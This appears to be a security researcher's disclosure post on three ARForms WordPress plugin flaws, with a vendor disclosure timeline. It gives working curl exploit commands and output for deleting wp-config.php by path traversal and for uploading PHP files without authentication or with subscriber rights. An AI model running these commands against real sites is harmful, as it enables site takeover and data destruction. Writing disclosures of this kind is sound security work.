WordPress plugin: ARForms - multiple vulnerabilities
##Abstract
ARForms is easy to use all-in-one WordPress form builder plugin to create all type of forms not limited to just WordPress Contact Form. It has real time editor to create widest variety of WordPress Forms. [1]
I found a couple of vulnerabilities on a client’s website, but they were using an outdated version. Hilariously, one of these was posted about on their comments page, but they refuted it before silently fixing it.
##Unauthenticated arbitrary file delete - silently fixed <= 3.6
The arf_delete_file
endpoint doesn’t do any sort of authentication or checking on the file_name
parameter - you can ask it to delete any file you like and it’ll happily oblige:
$ curl -sI https://vulnerable.host/ | grep 'HTTP\|location'
HTTP/2 200
$ curl -s -d 'action=arf_delete_file' -d 'file_name=../../../../../wp-config.php' "http://vulnerable.host/wp-admin/admin-ajax.php"
$ curl -sI https://vulnerable.host/ | grep 'HTTP\|location'
HTTP/2 302
location: https://vulnerable.host/wp-admin/setup-config.php
This was present on at least 2.7, it was silently fixed sometime before 3.6 - the new code now seems to check to see if the current user uploaded the file before allowing it to be deleted.
##Unauthenticated arbitrary file upload via zip extraction - silently fixed <= 3.6
In at least version 2.7.8, the import_form
function is hooked to admin_init
… unfortunately for the developer, this code doesn’t solely run when the admin is logged in, it runs on admin-ajax.php as well, so we can do this completely unauthenticated using any AJAX endpoint:
$ echo '<?php echo("pwned.");' > index.php
$ zip asdf.zip index.php
adding: index.php (stored 0%)
$ curl -sI https://vulnerable.host/wp-content/uploads/arforms/import_forms/asdf_temp/ | grep 'HTTP'
HTTP/2 404
$ curl -F 'importFile=@asdf.zip' -F 'action=heartbeat' "http://vulnerable.host/wp-admin/admin-ajax.php"
success||asdf||{"wp-auth-check":false,"server_time":1550124625}
$ curl -sI https://vulnerable.host/wp-content/uploads/arforms/import_forms/asdf_temp/ | grep 'HTTP'
HTTP/2 200
This one’s being exploited in the wild, I’ve seen PHP files in directories exactly like that. After asking the client to update, I found that 3.6 contains another, slightly less serious vulnerability:
Vulnerability #3 - Arbitrary file upload, authenticated but requires only subscriber or higher privileges on any site (3.6, possibly other versions)
$ echo -n '<?php
print("pwned.");
#' > payload.php
$ curl -b '_paste_wordpress_subscriber_session_cookie_here_' -v --data-binary '@payload.php' -d 'action=arf_add_new_preset' -H 'X-Filename: ../../../pwned.php' https://vulnerable.host/wp-admin/admin-ajax.php
$ curl http://vulnerable.host/wp-content/pwned.php
pwned
$
##Solutions/workarounds
The code in 3.6.1 is better - not perfect (it still moves the file before reading it again), but it checks for a .csv extension now. The offending code for the first two vulnerabilities has been removed at some point. At the time of writing there’s still an arbitrary file read in it however.
##Disclosure Timeline
2019-02-14: Vendor contacted via contact form and Facebook, only responded via FB, didn’t understand. 2019-02-17: Asked for update, no response. 2019-03-06: Reported directly to Envato. 2019-03-07: Vendor pushed out fixed version, 3.6.1.
##References